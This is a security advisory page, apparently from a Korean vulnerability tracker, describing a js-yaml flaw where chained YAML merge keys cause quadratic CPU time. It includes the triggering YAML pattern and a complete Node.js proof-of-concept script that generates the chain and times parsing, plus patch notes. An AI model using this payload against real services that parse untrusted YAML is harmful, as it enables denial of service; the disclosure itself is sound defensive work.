js-yaml: YAML merge-key chains can force quadratic CPU consumption
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
1a0: &a0 { k0: 0 } 2a1: &a1 { <<: *a0, k1: 1 } 3a2: &a2 { <<: *a1, k2: 2 } 4a3: &a3 { <<: *a2, k3: 3 } 5... 6b: *aNFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
1import { performance } from 'node:perf_hooks' 2import { Buffer } from 'node:buffer' 3import { load, YAML11_SCHEMA } from 'js-yaml' 4 5const n = Number(process.argv[2] || 4000) 6 7function makeMergeChain (count) { 8 const lines = ['a0: &a0 { k0: 0 }'] 9 10 for (let i = 1; i < count; i++) {11 lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)12 }13 14 lines.push(`b: *a${count - 1}`)15 return `${lines.join('\n')}\n`16}17 18const source = makeMergeChain(n)19 20console.log(source.split('\n').slice(0, 8).join('\n'))21console.log('...')22console.log(source.split('\n').slice(-4).join('\n'))23console.log()24console.log(`N: ${n}`)25console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)26 27const started = performance.now()28const result = load(source, { schema: YAML11_SCHEMA })29const elapsed = performance.now() - started30 31console.log(`parse time: ${elapsed.toFixed(1)} ms`)32console.log(`top-level keys: ${Object.keys(result).length}`)33console.log(`b keys: ${Object.keys(result.b).length}`)Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…